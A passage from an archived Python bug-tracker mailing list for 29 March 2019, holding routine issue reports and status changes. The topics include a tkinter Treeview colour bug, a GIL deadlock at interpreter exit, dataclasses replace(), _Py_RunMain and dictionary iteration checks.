from tkinter import ttk
root = tkinter.Tk ()
style = ttk.Style (root)
style.configure ("Treeview", foreground="yellow", background="grey", fieldbackground="green")
tree = ttk.Treeview (root, columns=('Data'))
tree.heading ('#0', text='Item')
tree.heading ('#1', text='Data')
tree.insert ("", "end", text="Item_0", values=100, tags="A")
tree.insert ("", "end", text="Item_1", values=200, tags="B")
tree.insert ("", "end", text="Item_2", values=300, tags="C")
tree.tag_configure ("A", foreground="black") #Py 3.7.3: no effect
tree.tag_configure ("B", foreground="red")
tree.pack ()
root.mainloop ()

----------
components: Tkinter
files: test_treeview_color.png
messages: 339101
nosy: guillaumeb
priority: normal
severity: normal
status: open
title: Treeview: wrong color change
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48238/test_treeview_color.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36468>
_______________________________________

From report at bugs.python.org  Fri Mar 29 05:06:11 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 29 Mar 2019 09:06:11 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1553850371.13.0.261829849662.issue36150@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution: not a bug -> 
stage: resolved -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Fri Mar 29 05:13:50 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 29 Mar 2019 09:13:50 +0000
Subject: [issue36064] docs: urllib.request.Request not accepting iterables
 data type
In-Reply-To: <1550744621.39.0.0634252256257.issue36064@roundup.psfhosted.org>
Message-ID: <1553850830.97.0.498664272583.issue36064@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36064>
_______________________________________

From report at bugs.python.org  Fri Mar 29 05:50:42 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 29 Mar 2019 09:50:42 +0000
Subject: [issue20844] SyntaxError: encoding problem: iso-8859-1 on Windows
In-Reply-To: <1393854882.06.0.561987523346.issue20844@psf.upfronthosting.co.za>
Message-ID: <1553853042.8.0.374572447924.issue20844@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12552
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20844>
_______________________________________

From report at bugs.python.org  Fri Mar 29 06:41:48 2019
From: report at bugs.python.org (Savagery)
Date: Fri, 29 Mar 2019 10:41:48 +0000
Subject: [issue36463] python37.dll crashing 0xc000041d
In-Reply-To: <1553801566.37.0.489496504409.issue36463@roundup.psfhosted.org>
Message-ID: <1553856108.12.0.392720200403.issue36463@roundup.psfhosted.org>


Savagery <lucas.johnathan.wilson at gmail.com> added the comment:

crash is caused by the WndProc definitions, seems having python code that does anything inside of those WINFUNCTYPE ctypes callbacks increasing the frequency of the python crash with positive correlation to amount of python code in the function.

----------
components: +ctypes -Windows

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36463>
_______________________________________

From report at bugs.python.org  Fri Mar 29 06:42:23 2019
From: report at bugs.python.org (Savagery)
Date: Fri, 29 Mar 2019 10:42:23 +0000
Subject: [issue36463] python37.dll crashing 0xc000041d
In-Reply-To: <1553801566.37.0.489496504409.issue36463@roundup.psfhosted.org>
Message-ID: <1553856143.28.0.765485530249.issue36463@roundup.psfhosted.org>


Change by Savagery <lucas.johnathan.wilson at gmail.com>:


----------
components: +Windows

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36463>
_______________________________________

From report at bugs.python.org  Fri Mar 29 06:45:19 2019
From: report at bugs.python.org (Remy Noel)
Date: Fri, 29 Mar 2019 10:45:19 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
Message-ID: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>


New submission from Remy Noel <remy.noel at blade-group.com>:

I have a script (sadly, I can't publish it) spawning multiple threads that, in rare occurences, does not manage to exit properly and get stuck forever.

More precisely, this seems to happen during Interpreter exit: The atexit callbacks are called sucessfully, and we then have multiple threads that are all atempting to get the GIL why None seems to owns it (_PyThreadState_Current is always '{_value = 0}' while gil_locked is '{_value = 1}').

The main thread stack looks like this:

#0  pthread_cond_timedwait@@GLIBC_2.3.2 () at ../sysdeps/unix/sysv/linux/x86_64/pthread_cond_timedwait.S:225
#1  0x000055d00997ce6a in PyCOND_TIMEDWAIT (cond=0x55d009e8ddc0 <gil_cond>, mut=0x55d009e8dd80 <gil_mutex>, us=<optimized out>) at ../Python/condvar.h:103
#2  take_gil () at ../Python/ceval_gil.h:224
#3  0x000055d00998580b in PyEval_EvalFrameEx () at ../Python/ceval.c:1273
#4  0x000055d00996f16f in _PyEval_EvalCodeWithName.lto_priv.1929 (qualname=0x0, name=<optimized out>, closure=0x0, kwdefs=0x0, defcount=0, defs=0x0, kwcount=0, kws=<optimized out>, argcount=<optimized out>, 
    args=<optimized out>, locals=<optimized out>, globals=<optimized out>, _co=<optimized out>) at ../Python/ceval.c:4033
#5  PyEval_EvalCodeEx () at ../Python/ceval.c:4054
#6  0x000055d0099b90e3 in function_call.lto_priv () at ../Objects/funcobject.c:627
#7  0x000055d009a02e17 in PyObject_Call () at ../Objects/abstract.c:2166
#8  0x000055d00992034e in method_call.lto_priv () at ../Objects/classobject.c:330
#9  0x000055d009a02e17 in PyObject_Call () at ../Objects/abstract.c:2166
#10 0x000055d00996df7d in PyEval_CallObjectWithKeywords () at ../Python/ceval.c:4595
#11 0x000055d009a5d05d in slot_tp_repr () at ../Objects/typeobject.c:5992
#12 0x000055d0099c9685 in PyObject_Repr () at ../Objects/object.c:482
#13 0x000055d0099aa6be in unicode_fromformat_arg (vargs=0x7ffc2ca81110, f=0x55d009a8a837 "R", writer=0x7ffc2ca810b0) at ../Objects/unicodeobject.c:2645
#14 PyUnicode_FromFormatV () at ../Objects/unicodeobject.c:2710
#15 0x000055d009a572bc in PyErr_WarnFormat () at ../Python/_warnings.c:895
#16 0x000055d0098840bb in sock_dealloc (s=0x7f43000fc528) at ../Modules/socketmodule.c:4177
#17 0x000055d0099d031d in subtype_dealloc.lto_priv () at ../Objects/typeobject.c:1209
#18 0x000055d0099b68f7 in frame_dealloc.lto_priv () at ../Objects/frameobject.c:431
#19 0x000055d0098ab7b1 in PyThreadState_Clear (tstate=0x55d00bee8a70) at ../Python/pystate.c:386
#20 0x000055d009a4d08a in PyInterpreterState_Clear () at ../Python/pystate.c:118
#21 0x000055d009a4e1d2 in Py_Finalize () at ../Python/pylifecycle.c:633
#22 0x000055d009a4e2a8 in Py_Exit (sts=sts at entry=0) at ../Python/pylifecycle.c:1465
#23 0x000055d009a4e38e in handle_system_exit () at ../Python/pythonrun.c:602
#24 0x000055d009a4e3f6 in PyErr_PrintEx () at ../Python/pythonrun.c:612
#25 0x000055d009a4f667 in PyErr_Print () at ../Python/pythonrun.c:508
#26 PyRun_SimpleFileExFlags () at ../Python/pythonrun.c:401
#27 0x000055d009a7c2e7 in run_file (p_cf=0x7ffc2ca814fc, filename=0x55d00bb01140 L"...", fp=0x55d00bb62e60) at ../Modules/main.c:318
#28 Py_Main () at ../Modules/main.c:768
#29 0x000055d00990bd71 in main () at ../Programs/python.c:65
#30 0x00007f430b7cd2e1 in __libc_start_main (main=0x55d00990bc90 <main>, argc=11, argv=0x7ffc2ca81708, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffc2ca816f8)
    at ../csu/libc-start.c:291
#31 0x000055d009a12a7a in _start ()

We can see it is trying to get the GIL while finalizing (as it is emitting a warning when destroying a socket). However, this prevents any other thread to get deleted since the first thread holds the head_lock. For instance we have thread 18 trying to get the head lock:

Thread 18 (Thread 0x7f4302ffd700 (LWP 21117)):
#0  0x00007f430c6aa536 in futex_abstimed_wait_cancelable (private=0, abstime=0x0, expected=0, futex_word=0x55d00bb014c0) at ../sysdeps/unix/sysv/linux/futex-internal.h:205
#1  do_futex_wait (sem=sem at entry=0x55d00bb014c0, abstime=0x0) at sem_waitcommon.c:111
#2  0x00007f430c6aa5e4 in __new_sem_wait_slow (sem=0x55d00bb014c0, abstime=0x0) at sem_waitcommon.c:181
#3  0x000055d00994d2d5 in PyThread_acquire_lock_timed () at ../Python/thread_pthread.h:352
#4  0x000055d009a4dcec in tstate_delete_common () at ../Python/pystate.c:418
#5  0x000055d009a4dd88 in PyThreadState_DeleteCurrent () at ../Python/pystate.c:457
#6  0x000055d009a482a4 in t_bootstrap () at ../Modules/_threadmodule.c:1027
#7  0x00007f430c6a2494 in start_thread (arg=0x7f4302ffd700) at pthread_create.c:333
#8  0x00007f430b895acf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:97


I attached the full stacktrace of the 18 threads.

I a not sure wether we either shouldn't try to lock the GIL while finalizing or if i somehow just happen to have run into a thread aqcuiring the GIL without releasing it.

python version is 3.5.3.

I kept the problematic process running and can extract any information you may want from it.

----------
components: Interpreter Core, Library (Lib)
files: stacktraces
messages: 339103
nosy: mocramis
priority: normal
severity: normal
status: open
title: Stuck during interpreter exit, attempting to take the GIL
versions: Python 3.5
Added file: https://bugs.python.org/file48239/stacktraces

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 06:54:41 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 29 Mar 2019 10:54:41 +0000
Subject: [issue36468] Treeview: wrong color change
In-Reply-To: <1553848318.4.0.250762836848.issue36468@roundup.psfhosted.org>
Message-ID: <1553856881.51.0.088716753946.issue36468@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +gpolo, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36468>
_______________________________________

From report at bugs.python.org  Fri Mar 29 07:15:53 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 29 Mar 2019 11:15:53 +0000
Subject: [issue27797] ASCII file with UNIX line conventions and enough lines
 throws SyntaxError when ASCII-compatible codec is declared
In-Reply-To: <1471592282.81.0.915425823239.issue27797@psf.upfronthosting.co.za>
Message-ID: <1553858153.97.0.653859537093.issue27797@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> SyntaxError: encoding problem: iso-8859-1 on Windows

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27797>
_______________________________________

From report at bugs.python.org  Fri Mar 29 07:49:07 2019
From: report at bugs.python.org (yoch)
Date: Fri, 29 Mar 2019 11:49:07 +0000
Subject: [issue28375] cgi.py spam in Apache server logs
In-Reply-To: <1475755223.43.0.818852294498.issue28375@psf.upfronthosting.co.za>
Message-ID: <1553860147.45.0.0166122318479.issue28375@roundup.psfhosted.org>


yoch <yoch.melka at gmail.com> added the comment:

Same issue here (python 3.6). This is very annoying, especially in case of large entries in FieldStorage, because the whole data is written to the log.

Example:
    FieldStorage('image', 'upload.jpg', b'...can be very long...')

----------
components: +Library (Lib)
nosy: +yoch.melka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28375>
_______________________________________

From report at bugs.python.org  Fri Mar 29 07:52:18 2019
From: report at bugs.python.org (Greg Kuhn)
Date: Fri, 29 Mar 2019 11:52:18 +0000
Subject: [issue36470] dataclasses replace raises an exception with an empty
Message-ID: <1553860338.68.0.823118501948.issue36470@roundup.psfhosted.org>


New submission from Greg Kuhn <gregorykuhn at gmail.com>:

I have a snippet below which runs fine on python 3.7.0 but raises a ValueError exception on 3.7.1. I believe it's related to https://bugs.python.org/issue33805.

The error: c:\python\lib\dataclasses.py:1219: ValueError

The script:

from dataclasses import replace, dataclass, InitVar

@dataclass
class Test:
    a:int = 1
    b:InitVar[int] = None

    def __post_init__(self, b):
        if b is not None:
            self.a = b


if __name__ == '__main__':
    t = Test()
    t1 = Test(b=5)
    assert t1.a == 5

    t2 = replace(t1, **{})
    print(t2)

----------
components: Interpreter Core
messages: 339105
nosy: Greg Kuhn
priority: normal
severity: normal
status: open
title: dataclasses replace raises an exception with an empty
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36470>
_______________________________________

From report at bugs.python.org  Fri Mar 29 07:57:41 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 29 Mar 2019 11:57:41 +0000
Subject: [issue36470] dataclasses replace raises an exception with an empty
In-Reply-To: <1553860338.68.0.823118501948.issue36470@roundup.psfhosted.org>
Message-ID: <1553860661.69.0.89799797571.issue36470@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36470>
_______________________________________

From report at bugs.python.org  Fri Mar 29 08:13:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 12:13:44 +0000
Subject: [issue36471] PEP 432, PEP 587: Add _Py_RunMain()
Message-ID: <1553861624.16.0.982663569767.issue36471@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The PEP 587 adds new functions taking command line arguments:

Py_PreInitializeFromArgs(config, argc, argv)
Py_PreInitializeFromWideArgs(config, argc, argv)
Py_InitializeFromArgs(config, argc, argv)
Py_InitializeFromWideArgs(config, argc, argv)

I propose to add _Py_RunMain() (currently private, until PEP 587 is accepted) to be able to implement something similar to Py_Main() but with way more configuration options:

Example to create an "isolated Python" in a few line of C:
---
#include <Python.h>

int main(int argc, char *argv[])
{
    _PyCoreConfig config = _PyCoreConfig_INIT;
    config.isolated = 1;

    _PyInitError err = _Py_InitializeFromArgs(&config, argc, argv);
    if (_Py_INIT_FAILED(err)) {
        _Py_ExitInitError(err);
    }

    return _Py_RunMain();
}
---

It's like the regular "python3" program, except that it's always isolated:
---
$ my-isolated-python
Python 3.8.0a3+ (heads/run_main-dirty:d167362ecc, Mar 29 2019, 13:03:30) 
>>> 1+1
2
>>> import sys
>>> sys.flags.isolated
1
---

Using _Py_RunMain(), it becomes trivial to implement something like PEP 432's "system python" idea ;-)

----------
components: Interpreter Core
messages: 339106
nosy: ncoghlan, vstinner
priority: normal
severity: normal
status: open
title: PEP 432, PEP 587: Add _Py_RunMain()
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36471>
_______________________________________

From report at bugs.python.org  Fri Mar 29 08:24:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 12:24:44 +0000
Subject: [issue36471] PEP 432, PEP 587: Add _Py_RunMain()
In-Reply-To: <1553861624.16.0.982663569767.issue36471@roundup.psfhosted.org>
Message-ID: <1553862284.72.0.0276045739952.issue36471@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I'm working on a PR to implement it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36471>
_______________________________________

From report at bugs.python.org  Fri Mar 29 08:45:53 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Fri, 29 Mar 2019 12:45:53 +0000
Subject: [issue36472] Some old PR with CLA not signed
Message-ID: <1553863553.65.0.206304319022.issue36472@roundup.psfhosted.org>


New submission from Emmanuel Arias <emmanuelarias30 at gmail.com>:

Hello everybody!

Making a searching on GitHub: is:open label:"CLA not signed" 

We can see that there are some PR opened with CLA not signed label.
The newest is 22 days ago and the oldest is from May 8, 2017.

I can closed it if you consider apropiate

----------
messages: 339108
nosy: eamanu
priority: normal
severity: normal
status: open
title: Some old PR with CLA not signed
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36472>
_______________________________________

From report at bugs.python.org  Fri Mar 29 09:02:32 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 29 Mar 2019 13:02:32 +0000
Subject: [issue36472] Some old PR with CLA not signed
In-Reply-To: <1553863553.65.0.206304319022.issue36472@roundup.psfhosted.org>
Message-ID: <1553864552.1.0.0868407062337.issue36472@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

There were cases in the past where CLA was signed but there was mismatch in the bpo details and GitHub usernames linked due to which bot didn't change it to CLA signed. I would request this to be discussed in other channels like https://discuss.python.org/c/core-workflow or zulip core-workflow chat or mailing list. This issue could be closed since there is nothing that could be done in the bug tracker here. These problems might be solved by using CLA assistant. Closing a PR needs relevant access and I guess Brett is also reviewing PRs where CLA is not signed.

----------
nosy: +brett.cannon, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36472>
_______________________________________

From report at bugs.python.org  Fri Mar 29 09:09:18 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Fri, 29 Mar 2019 13:09:18 +0000
Subject: [issue36472] Some old PR with CLA not signed
In-Reply-To: <1553863553.65.0.206304319022.issue36472@roundup.psfhosted.org>
Message-ID: <1553864958.93.0.875220927327.issue36472@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

> I would request this to be discussed in other channels like https://discuss.python.org/c/core-workflow or zulip core-workflow chat or mailing list.

Ok. It good for you if I send this issue to https://discuss.python.org/c/core-workflow?

Then, I close this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36472>
_______________________________________

From report at bugs.python.org  Fri Mar 29 09:40:26 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 29 Mar 2019 13:40:26 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553866826.69.0.860960595037.issue36469@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Can you reproduce it on 3.7 or master branch?

Python 3.5 is security fix only mode now.
https://devguide.python.org/#status-of-python-branches

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 09:42:54 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 29 Mar 2019 13:42:54 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553866974.84.0.214548031735.issue35224@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

@veky -- please take this up on python-ideas.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 09:53:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 13:53:25 +0000
Subject: [issue36471] PEP 432, PEP 587: Add _Py_RunMain()
In-Reply-To: <1553861624.16.0.982663569767.issue36471@roundup.psfhosted.org>
Message-ID: <1553867605.7.0.253483039508.issue36471@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12553
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36471>
_______________________________________

From report at bugs.python.org  Fri Mar 29 09:56:22 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 29 Mar 2019 13:56:22 +0000
Subject: [issue36472] Some old PR with CLA not signed
In-Reply-To: <1553864958.93.0.875220927327.issue36472@roundup.psfhosted.org>
Message-ID: <682CB702-256F-432C-A767-B8CBD808A055@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Brett would like to reduce the number of PRs, maybe we need to ask to the council about that point.

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36472>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:13:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 14:13:53 +0000
Subject: [issue36471] PEP 432, PEP 587: Add _Py_RunMain()
In-Reply-To: <1553861624.16.0.982663569767.issue36471@roundup.psfhosted.org>
Message-ID: <1553868833.91.0.352795460796.issue36471@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 2f54908afc5665937d763510b4430f10cf764641 by Victor Stinner in branch 'master':
bpo-36471: Add _Py_RunMain() (GH-12618)
https://github.com/python/cpython/commit/2f54908afc5665937d763510b4430f10cf764641


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36471>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:16:18 2019
From: report at bugs.python.org (Thomas Perl)
Date: Fri, 29 Mar 2019 14:16:18 +0000
Subject: [issue36473] Detect all dictionary changes during iteration
Message-ID: <1553868978.85.0.786754565606.issue36473@roundup.psfhosted.org>


New submission from Thomas Perl <th.perl at gmail.com>:

On top of issue 36452, I noticed some other corner cases that are still not handled. For one, the patch (Github PR 12596) only handles iterating over keys, but not iterating over values or items:

======
a = {0: 0}
it = iter(a.values())
print('Length hint:', it.__length_hint__())
print(next(it))
print('Length hint:', it.__length_hint__())
del a[0]
a[1] = 99
print(next(it))
print('Length hint:', it.__length_hint__())
======

Replace a.values() there with a.items() -- same issue. Note that PR 12596 fixes the a.keys() case (same as iterating over "a" directly).

Applying the "di->len == 0" check in dictiter_iternextvalue() and dictiter_iternextitem() would fix those two cases above, but would still not fix the following case:

======
a = {0: 'a', 1: 'b', 2: 'c'}

it = iter(a)
i = next(it)
print('got first:', i)
del a[1]
a[1] = 'd'
i = next(it)
print('got second:', i)
i = next(it)
print('got third:', i)

try:
    i = next(it)
    raise RuntimeError(f'got fourth: {i}')
except StopIteration:
    print('stop iteration')
======

The reason for this is that the iteration count (3 in this case) isn't modified, but the dict's keys are still changed, and the iteration order is as follows:

======
got first: 0
got second: 2
got third: 1
stop iteration
======

Note that the key 1 there is first deleted and then set.

I'll add a Github PR that tries to solve these corner cases too by tracking dict keys modification.

----------
components: Interpreter Core
messages: 339115
nosy: thomas.perl
priority: normal
severity: normal
status: open
title: Detect all dictionary changes during iteration
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36473>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:19:55 2019
From: report at bugs.python.org (Thomas Perl)
Date: Fri, 29 Mar 2019 14:19:55 +0000
Subject: [issue36473] Detect all dictionary changes during iteration
In-Reply-To: <1553868978.85.0.786754565606.issue36473@roundup.psfhosted.org>
Message-ID: <1553869195.33.0.635451050383.issue36473@roundup.psfhosted.org>


Change by Thomas Perl <th.perl at gmail.com>:


----------
keywords: +patch
pull_requests: +12554
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36473>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:19:55 2019
From: report at bugs.python.org (Thomas Perl)
Date: Fri, 29 Mar 2019 14:19:55 +0000
Subject: [issue36452] Detect dict iteration "overflow" when changing keys
In-Reply-To: <1553730078.06.0.0762712838657.issue36452@roundup.psfhosted.org>
Message-ID: <1553869195.37.0.0779501714972.issue36452@roundup.psfhosted.org>


Change by Thomas Perl <th.perl at gmail.com>:


----------
pull_requests: +12555

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36452>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:20:51 2019
From: report at bugs.python.org (Remy Noel)
Date: Fri, 29 Mar 2019 14:20:51 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553869251.8.0.149608857543.issue36469@roundup.psfhosted.org>


Remy Noel <remy.noel at blade-group.com> added the comment:

The bug happens about once every two weeks on a script that is fired more than 10K times a day.

Sadly, i can't update the whole production environment to try it on the latest. (and i was unable to trigger the bug by myself).

I was hoping we could find inconsistencies in the hanging process that could lead to clues about the origin of the error.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:23:16 2019
From: report at bugs.python.org (=?utf-8?b?SmVzw7pzIENlYSBBdmnDs24=?=)
Date: Fri, 29 Mar 2019 14:23:16 +0000
Subject: [issue35550] Some define guards for Solaris are wrong
In-Reply-To: <1545386883.42.0.788709270274.issue35550@psf.upfronthosting.co.za>
Message-ID: <1553869396.37.0.446473477789.issue35550@roundup.psfhosted.org>


Change by Jes?s Cea Avi?n <jcea at jcea.es>:


----------
nosy: +jcea

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35550>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:36:08 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 29 Mar 2019 14:36:08 +0000
Subject: [issue36473] Detect all dictionary changes during iteration
In-Reply-To: <1553868978.85.0.786754565606.issue36473@roundup.psfhosted.org>
Message-ID: <1553870168.12.0.152181595966.issue36473@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36473>
_______________________________________

From report at bugs.python.org  Fri Mar 29 10:37:11 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 29 Mar 2019 14:37:11 +0000
Subject: [issue36473] Detect all dictionary changes during iteration
In-Reply-To: <1553868978.85.0.786754565606.issue36473@roundup.psfhosted.org>
Message-ID: <1553870231.44.0.771512525542.issue36473@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

This is a duplicate of issue6017, issue19332 and issue29420.

----------
nosy: +pitrou, rhettinger, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36473>
_______________________________________

From report at bugs.python.org  Fri Mar 29 11:01:47 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 15:01:47 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553871707.71.0.370639636218.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

As Inada-san indicated, the problem might be resolved already.  So without the option of reproducing the problem, it will be hard to resolve this.

Here's some information you could provide that might help narrow down the scope a bit:

* what (stdlib/third-party/internal) modules are you using, particularly extension modules?
* how many threads are you using at once?
* how many atexit handlers do you have and what are they each doing?

----------
nosy: +eric.snow
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 11:02:37 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Fri, 29 Mar 2019 15:02:37 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553871757.47.0.2519404829.issue35983@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

I created an additional PR 12607 with some more changes to the, in particular to make the old backwards-compatibility trashcan macros safer. This should be seen as part of the same bugfix but I decided to make a new PR because PR 11841 had several positive reviews already.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Fri Mar 29 11:05:17 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 15:05:17 +0000
Subject: [issue36469] Stuck during interpreter exit, attempting to take the GIL
In-Reply-To: <1553856319.46.0.350569249761.issue36469@roundup.psfhosted.org>
Message-ID: <1553871917.38.0.452908780873.issue36469@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Also:

* are any of your threads daemon threads?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36469>
_______________________________________

From report at bugs.python.org  Fri Mar 29 11:19:00 2019
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Fri, 29 Mar 2019 15:19:00 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553872740.4.0.216721787424.issue35224@roundup.psfhosted.org>


Vedran ?a?i? <vedgar at gmail.com> added the comment:

Sorry, I don't have the energy for endless discussions without any result that almost always happen there. If you - of all people - don't see an obvious benefit of this (not even a feature - just a removal of a quite pointless limitation), then I'm probably wrong and there's no point in that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 11:53:13 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Fri, 29 Mar 2019 15:53:13 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
In-Reply-To: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>
Message-ID: <1553874793.76.0.739924500513.issue36448@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

> I'd propose adding "%0D%0A%0D%0AIf you are developing on another platform, try make regen-all and commit the updated files"

